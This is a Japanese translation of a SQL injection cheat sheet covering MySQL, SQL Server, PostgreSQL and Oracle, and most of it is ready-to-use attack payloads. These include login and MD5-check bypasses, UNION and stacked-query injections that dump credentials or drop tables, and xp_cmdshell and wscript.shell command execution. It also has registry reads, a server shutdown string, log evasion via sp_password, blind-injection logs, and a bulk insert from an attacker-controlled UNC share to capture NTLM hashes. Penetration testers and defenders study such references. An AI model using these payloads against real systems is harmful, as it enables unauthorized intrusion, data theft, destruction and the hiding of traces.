SQL Injection Cheat Sheet, Document Version 1.4

SQL Injection Cheat Sheatについて

 このドキュメントの現在のバージョンは、MySQLMicrosoft SQL Serverおよび一部のOraclePostgresSQLのみに対応している。 大半のサンプルは個々の状況で使用できるわけではない。括弧やコードベースの違い、予期できない変わったSQL文などのため、実際の環境はこれと異なる場合がある。

サンプルでは、可能な攻撃の基本的なアイディアを示している。ほとんどのセクションでは、そのセクションに関する簡単な情報も述べている。

この記事で使用している略称
M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : おそらく他のデータベースすべて

目次

  1. SQL Injection Cheat Sheatについて
  2. 文法のリファレンス、攻撃のサンプル、狡猾なSQLインジェクション小技
    1. 1行コメント
    2. インラインコメント
    3. 複文
    4. If命令文
    5. 数値の利用
    6. 文字列操作
    7. クォートを利用しない文字列
    8. 文字列変換
    9. UNIONインジェクション
    10. Login Screenのバイパス
    11. SQL Server 2005でxp_cmdshellを使用可能にする
    12. 残りの部分については未整理だが、下書きやノートなどが含まれるので、チェックしてみてほしい。

文法のリファレンス、攻撃のサンプル、狡猾なSQLインジェクション小技

行末/コメントアウト/1行コメント

1行コメント

クエリの残り部分をコメントアウトする。
1行コメントは、クエリの残り部分を無視するために使用される最も一般的な手法である。コメントアウトすることで、構文を完成させる必要がなくなる。

1行コメントを利用したSQLインジェクション攻撃のサンプル

インラインコメント

インラインコメントは、SQL文を終了させずに以降のクエリをコメントアウトする。これは、ブラックリストをバイパスしたり、スペースを削除したり、SQL文を判読しにくくしたり、データベースのバージョンを確認したりするために使用される。

古典的なインラインコメントSQLインジェクション攻撃のサンプル
MySQLバージョン検出攻撃のサンプル

複文

1回のトランザクションで複数のクエリを実行させる。これは、すべてのインジェクション可能なポイントでとても効果的だ。バックエンドにSQL Serverを利用しているアプリケーションに対しては、特に有効だ。

SQLクエリを終了し、別のクエリを開始する。

複文をサポートする言語とデータベースの一覧

緑: サポート 黒:サポートしていない 白: 不明

  SQL Server MySQL PostgreSQL ORACLE MS Access
ASP          
ASP.NET          
PHP          
Java          

 

MySQLとPHPについて
To clarify some issues;
PHP−MySQLの組み合わせでは、複文はサポートされていない。Javaは複文をサポートしていない(ORACLEについては確実だが、他のデータベースに関しては確定ではない)。通常、MySQLは複文をサポートしている。しかし通常は、データベースレイヤー側の設定のため、PHP−MySQLアプリケーションでは2番目のクエリを実行することができない。MySQLクライアントは複文をサポートしていると思われるが、確信はない。誰か解明してほしい。

複文によるSQLインジェクション攻撃のサンプル

これは、通常のクエリを実行した後でDROP membersというSQL文が実行される。

If命令文

If命令文に基づいたレスポンスの取得。これは、ブラインドSQLインジェクションのキーポイントの1つであり、盲目的かつ正確に単純な条件文をテストするためにも役立つ。

MySQLのIf命令文

SQL ServerのIf命令文

If命令文を利用したSQLインジェクション攻撃のサンプル

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
sadbo以外のユーザーがログインしている場合、0除算エラーが発生する。

数値の利用

magic_quotes()や類似したフィルター、Webアプリケーションファイアウォールをバイパスするために役立つ。

文字列操作

文字列関連の操作。これらはクォートを使用せずインジェクションを組み立てたり、ブラックリストをバイパスしたり、バックエンドのデータベースを判別したりするのにかなり有効である。

文字列連結

*MySQLの"||"について
ANSIモードで稼動中のMySQLでは正常に動作するが、他のモードであれば論理演算子として解釈されて0が返される。よりよい方法は、MySQLのCONCAT()関数の利用である。

クォートを利用しない文字列

文字列を利用する直接的な方法はいくつかあるが、CHAR()(MS) とCONCAT()(M)によるクォートを使用しない文字列の生成は常に可能だ。

16進数コードベースのSQLインジェクションサンプル

文字列変換関連

UNIONインジェクション

UNIONを使用することで別のテーブルに対してSQLクエリを実行することができる。つまり、他のテーブルからレコードを取得するよう、クエリに"仕込む"ことが可能だ。

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
これは、newsテーブルとmembersテーブルの検索結果を結合してすべてのデータを返す。

別の実行例
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION−言語による問題の解決策

UNIONインジェクションで攻略中、時として異なる言語設定(テーブル設定、列設定、テーブルとDBの設定の組み合わせなど)によりエラーが発生することがある。以下に説明する機能は、この言語設定問題を回避するためにかなり有効な手段である。これはまれな問題ではあるが、日本語、ロシア語、トルコ語などのアプリケーションを利用している場合、起きる可能性がある。

Login Screenのバイパス(SMO+)

SQL Injection 101で紹介していたLogin手法:

* MySQLの古いバージョンではUNIONのクエリをサポートしていない。

ログイン時のMD5ハッシュチェックをバイパスする

ユーザー名をキーにして最初の1レコードを取得し、DB上のMD5値(パスワードのハッシュ値)とユーザーが入力したパスワードのMD5値を算出して比較するアプリケーションの場合、アプリケーションをだまして認証をバイパスするには更なるトリックが必要となる。MD5の元値をパスワードとして入力し、入力したパスワードのMD5値をUNIONしてクエリーの結果として返せば、アプリケーションはデータベースで保持しているMD5値ではなく、今入力したMD5値と入力したパスワードをハッシュ関数(MD5)で算出した結果を比較する。

MD5ハッシュチェックのバイパス例(MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

エラーベースでの列名の調査

HAVING BYを利用した列名の調査(エラーベース)(S)

以下の順序で実行する。

ORDER BYを利用したSELECTする列数の調査 (MSO+)

ORDER BYを利用した列番号の確認で、UNION SQLインジェクションのプロセスをスピードアップできる。

データタイプ、UNION、その他

ヒント

列の型の見分け方

UNIONのターゲットでエラーになる前にconvert()がエラーを返すだろう。その場合、convert()から対処しよう。

単純なInsert(MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

便利な機能/情報収集/ストアドプロシージャ/Bulk SQLインジェクションに関する覚書

@@version (MS)
SQLサーバのデータベースバージョンと詳細なバージョン情報を取得する。バージョンごとの変更はなし。他の列と同様にselectするだけでよく、テーブル名の指定は不要。insert文、update文や関数内でも使用可能。

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert(S)

ファイルのコンテンツをテーブル内に読み込む。Webアプリケーションが動作するサーバー内部のフォルダ構造を知らなければ、IISメタベースファイル(%systemroot%\system32\inetsrv\MetaBase.xml))を読み込み、メタベースファイルからアプリケーションが存在するフォルダを探すことが可能だ(IIS6のみ)。

    1. foo(line varchar(8000))テーブルを作成する。
    2. 'c:\inetpub\wwwroot\login.asp'からfooにbulk insertする。
    3. テンポラリテーブル(foo)を削除し、他のファイルに対しても同様に繰り返す。

BCP (S)

テキストファイルへデータを出力する。この機能を利用するにはログイン権限が必要となる。
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

SQL ServerにおけるVBS、WSH(S)

ActiveXをサポートしているためSQL ServerではVBSやWSHスクリプトが利用可能。

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

xp_cmdshellでシステムのコマンドを実行する(S)

よく知られた小技で、SQL Server 2005ではデフォルトで無効にされている。利用するためには管理者権限が必要となる。

EXEC master.dbo.xp_cmdshell 'cmd.exe /c dir c:' *監修者注

単にpingチェックする(リクエストを識別できるように自分のファイアウォールやスニッファーを設定しておく)。

EXEC master.dbo.xp_cmdshell 'ping '

エラー、UNION、その他の方法を利用して結果を直接読み出すことはできない。

SQL Serverにおける特殊なテーブル(S)

SQL Serverのその他のストアドプロシージャ(S)

  1. コマンドの実行(xp_cmdshell
    exec master..xp_cmdshell 'dir'

  2. レジストリ関連(xp_regread
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

  3. サービス管理(xp_servicecontrol
  4. メディア(xp_availablemedia
  5. ODBCリソース(xp_enumdsn
  6. ログインモード(xp_loginconfig
  7. Cabファイル作成(xp_makecab
  8. ドメイン列挙(xp_ntsec_enumdomains
  9. プロセス終了(プロセスIDが必要)(xp_terminate_process
  10. 新プロシージャの追加(事実上なんでも実行可能
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  11. 内部フォルダまたはUNCパス指定でのテキストファイル出力(sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL) 
IS_SRVROLEMEMBER (Transact-SQL) 
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

SQL ServerではInsertクエリにselectサブクエリを使用不可能。

LIMIT(M) 、ORDER(MSO) 句内のSQLインジェクション

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

LIMIT句の2番目の引数でインジェクション可能な場合、コメントアウトしたりUNIONインジェクションの中に含めたりするすることが可能。

SQL Serverのシャットダウン(S)

あなたが本当に逝ってしまった時、';shutdown -- とすればシャットダウンする。

SQL Server 2005でxp_cmdshellを使用可能にする

SQL Server 2005のデフォルトでは、xp_cmdshellやその他いくつかの潜在的に危険なストアドプロシージャは無効となっている。管理者権限があればこれらを使用可能にできる。

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

SQL Serverにおけるデータベース構造の調査(S)

ユーザー定義テーブルの取得

SELECT name FROM sysobjects WHERE xtype = 'U'

列名の取得

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

レコードの移動(S)

 

SQL ServerにおけるエラーベースSQLインジェクションを利用した迅速なデータ抽出の方法(S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

詳細記事:Fast way to extract data from Error Based SQL Injections

ブラインドSQLインジェクション

ブラインドSQLインジェクションとは

一般的に非常に優れたアプリケーションはページ上にエラーメッセージを表示することはないので、UNIONアタックやエラーベースのアタック手法を利用してデータを抽出することはできない。データを抽出するにはブラインドSQLインジェクション攻撃を利用すべきである。ブラインドSQLインジェクションには2種類のパターンがある。

通常のブラインド:ベージ上にレスポンスが表示されることはないが、HTTPステータスコードやクエリのレスポンス結果から状況を判断することができる。
完全なブラインド:いかなる種類の出力においても全く差異が見られないことを指す。これは、ログ機能や似たような機能であり得るインジェクションである。しかし、これは一般的ではない。

通常のブラインドではifステートメントWHERE句のクエリを悪用してのインジェクションが可能(一般的に比較的容易)だが、完全なブラインドではwait機能の類やレスポンスタイムの分析を利用する必要がある。このためには、SQL ServerではWAIT FOR DELAY '0:0:10' 、MySQLではBENCHMARK()、PostgreSQLではpg_sleep(10) 、ORACLEではいくつかのPL/SQLトリックを使うことができる。

実際の多少複雑なブラインドSQLインジェクション攻撃のサンプル

以下の出力は、実際に個人的に使用しているブラインドSQLインジェクションツールで、SQL Serverをバックエンドに使用するアプリケーションへの攻撃およびテーブル名の割り出しを実行したものだ。これは最初のテーブル名の最初の文字を割り出すためのリクエストである。自動判断処理を行っているため、SQLクエリはより複雑になっている。二分探索アルゴリズムを使用して文字のアスキーコード特定を試行している。

各行の先頭のTRUEFALSEは、クエリが真を返したか偽を返したかを示している。

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

最後の2つのクエリが両方ともFALSEを返しているため、テーブル名の最初の文字がアスキーコード80番(10進数)、つまり'P'であることが特定できる。これが二分探索アルゴリズムを使用したブラインドSQLインジェクションの攻略手法である。よく知られた他の方法は1つずつ順番にチェックしていく方法である。それぞれ、異なる状況での効果が期待できる。

 

WAITFORを利用したブラインドSQLインジェクション

まず、完全なブラインドであればこれを使用する。それ以外の場合は、単に0除算エラーを発生させる方法で状態の差異を判断する。次に、20〜30秒以上かかることに注意が必要だ。データベースAPIによる接続やスクリプトでタイムアウトが発生する可能性がある。

WAIT FOR DELAY 'time'(S)

これはsleepと同様、指定した時間の処理を待たせることができる。データベースの待ち時間を作ってCPUに負荷をかけない方法である。

WAITFOR DELAY '0:0:10'--

以下の様に1秒以下の短時間の指定をすることも可能。

WAITFOR DELAY '0:0:0.51'

実際のサンプル

BENCHMARK() (M)

基本的に、MySQLを短時間待たせるために以下のコマンドを活用している。Webサーバーの処理能力を短時間で限界まで消費することに注意すること。

BENCHMARK(howmanytimes, do this)

実際のサンプル

pg_sleep(seconds) (P)

指定した秒数sleepする。

痕跡を隠す

SQL Server -sp_passwordを使用したログのバイパス(S)

セキュリティの関係上、SQL Serverはsp_passwordに含まれるクエリについてはログを採取しない。つまり、sp_passwordを送信するクエリに追加した場合、そのクエリはSQL Serverのログに記述されない(当然Webサーバーのログには記録される可能性がある。可能であればPOSTメソッドを使用すること)。

単純なSQLインジェクションテスト

以下は、ブラインドSQLインジェクションとサイレントアタックを実施するための、シンプルで良いテストである。

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1

  2. product.asp?name=Book
    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

MySQLに関するその他の覚書

利用価値がある可能性がある関数

セカンドオーダーSQLインジェクション

基本的に、SQLインジェクションをどこかに仕込んで、それが他の動作でフィルターされないことが期待できる。これは、一般的なhiddenレイヤーの問題である。

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

もしアプリケーションが安全ではないストアドプロシージャ、関数、処理などでnameフィールドのデータを利用していた場合、usersテーブルの最初のユーザのパスワードがメールの宛先名などに挿入されるかもしれない。

NTLMハッシュの取得をSQL Serverに強制する

この攻撃は、SQL ServerユーザーのターゲットサーバーにおけるWindowsパスワードを取得する助けになる可能性がある。しかし、たいていは外部から内部への接続はファイアウォールで遮断されている。内部でのペネトレーションテストでは非常に役立つだろう。SQL ServerがWindowsのUNC共有に接続するようにし、Cain & Abelなどのツールを使ってNTLMセッションのデータをキャプチャーする。

UNC共有からのbulk insert (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

bulk insertの使い方については、Bulk Insert Referenceを参照のこと。

リファレンス

これらの覚書きは、ここ数年いくつかのサイトから収集したり個人的な経験から得られたりしたことである。なので参照先が幾つか抜けているかもしれない。もし、参照先が抜けているのではと思ったときは私にメールを投げていただければ(ferruh-at-mavituna.com)、可能なかぎり早く更新するつもりだ。

ChangeLog

To Do / Contact / Help

Oracle、PostgreSQL、DB2、MS Accessに関する覚え書きや、現在ここに記載していない小技が多数ある。可能なかぎりはやくWebに掲載したいと思っている。もし、新しい小技を見つけた時や手伝いたいときは、直接メールしてほしいferruh-at-mavituna.com)。


監修者注 原文では「EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'」だが、実際は上記のコマンドと思われる